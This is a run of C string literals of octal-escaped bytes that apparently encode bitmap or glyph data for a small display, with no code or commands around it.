"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374\374\376\376\376\377" "\377\377\377\377\377\377\377\377\377\376\376\376\374\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374\376\377\377\377\377\177\77\37\17\7\3\3\1\1\1" "\0\0\0\0\0\0\0\0\1\1\1\3\3\7\17\37\77\177\377\377\377\377\376\374\360\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\370\377\377\377\377\377\377\377\17\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\377\377\377\377\377\377\377\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\376\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\77\177\377\377\377\377\377\377\377\377\377\377\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\177\377\377\377\377\377\377\377\377\377\377" "\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\376\376\374\374\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374" "\374\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\374\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\77\77\37\37\17\17\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\77" "\77\37\37\17\17\7\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\177\177\77\77\37\37\17\17\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374\374\376\376\376\377" "\377\377\377\377\377\377\377\377\377\376\376\376\374\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\370\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\37\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\37\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\17\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77\77\77\177\177\177\377" "\377\377\377\377\377\377\377\377\377\177\177\177\77\77\77\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370" "\370\374\376\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370" "\370\374\376\377\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\360\360\370\374\376\376\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\360\360\370\374\376\376\377\377\377\377\377\377\377" "\377\377\377\377\0\200\300\340\340\360\370\374\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\200\300\340\340\360\370\374\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\1\3\7\7\17\37\77\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\1\3\7\7\17\37\77\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\17\37\77\177\177\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\17\37\77\177\177\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\17\37" "\37\77\177\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\17\37" "\37\77\177\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\376\374\370\370\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\376\374\370\370\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\360\360\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\360\360\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\374\370\360\340" "\340\300\200\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\374\370\360\340" "\340\300\200\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\77\37\17\7" "\7\3\1\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\77\37\17\7" "\7\3\1\0\377\377\377\377\377\377\377\377\377\377\377\177\177\77\37\17\17\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\177\177\77\37\17\17\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\377\177\77\37\37\17\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\177\77\37\37\17\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\370\370\374\374\376\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\200\200\300\300\340\360\360\370\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\200\200\300\340\340\360\360\370\374\374\376" "\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\1\1\3\7\7\17\17\37\77\77\177" "\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\1\1\3\3\7\17\17\37\37\77\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\37\37\77\77\177\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\376\374\374\370\370\360\340\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\370\360\360\340\300\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376" "\376\374\374\370\360\360\340\340\300\200\200\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" "\177\77\77\37\17\17\7\7\3\1\1\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\77\37\37\17\17\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\177\77\77\37\37\17\7\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376" "\376\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\377\377\377\376\374\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\374\376\377\377\377\377\376\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\17\377\377\377\377\377\377\377\370\300\0\0\0\0\0\0\7\37\77\177" "\177\377\377\377\377\377\377\177\177\77\37\7\0\0\0\0\0\0\200\340\377\377\377\377\377\377\377\37\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\377\377\377\377\377\374\370\360\340\340\300\200\200\200" "\0\0\0\0\0\0\0\0\200\200\200\300\300\340\360\370\374\376\377\377\377\377\177\77\37\7\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37\37\77\77\177\177\177\177" "\377\377\377\377\377\377\377\377\377\177\177\177\77\77\37\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\340\340\360\360\360\360\370" "\370\370\370\374\374\374\374\374\374\374\376\376\376\376\376\376\376\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\17\17\17\7" "\7\7\7\3\3\3\3\3\3\3\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\376\376\376\377\377\377\377\377\377\376\377\377\377\377" "\377\377\377\377\0\300\340\360\370\374\376\376\376\377\377\377\377\377\377\376\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\177~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\77\177\177\177\377\377\377\377\377\377\177\177\177\77\37" "\17\7\3\0\0\3\7\17\37\77\177\177\177\377\377\377\377\377\377\177\177\177\77\37\17\7\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\1\3\3" "\7\17\17\37\77\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\3\3\7\17\17\37\77\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\340\360\360\370\374\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\200\300\300" "\340\360\360\370\374\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\376\376\376\374\374\374\370\370\360\340\300\200\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\3\3\7\17\37\77\177\377\377\377\377\376\374" "\360\340\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\376\376\374\370\340\0\0\0\0\0\0\1\17\377\377\377\377" "\377\377\377\370\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\177\177\77\37\7\0\0\0\0\0\0\200\360\377\377\377\377" "\377\377\377\37\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\340\360\370\374\376\377\377\377\377\177\77" "\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\177\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\177\177\177\77\77\77\37\17\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\37\77\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\300\340\370\374\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370" "\376\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\376\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\177\177\77\37\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37" "\177\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\3\7\37\77\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 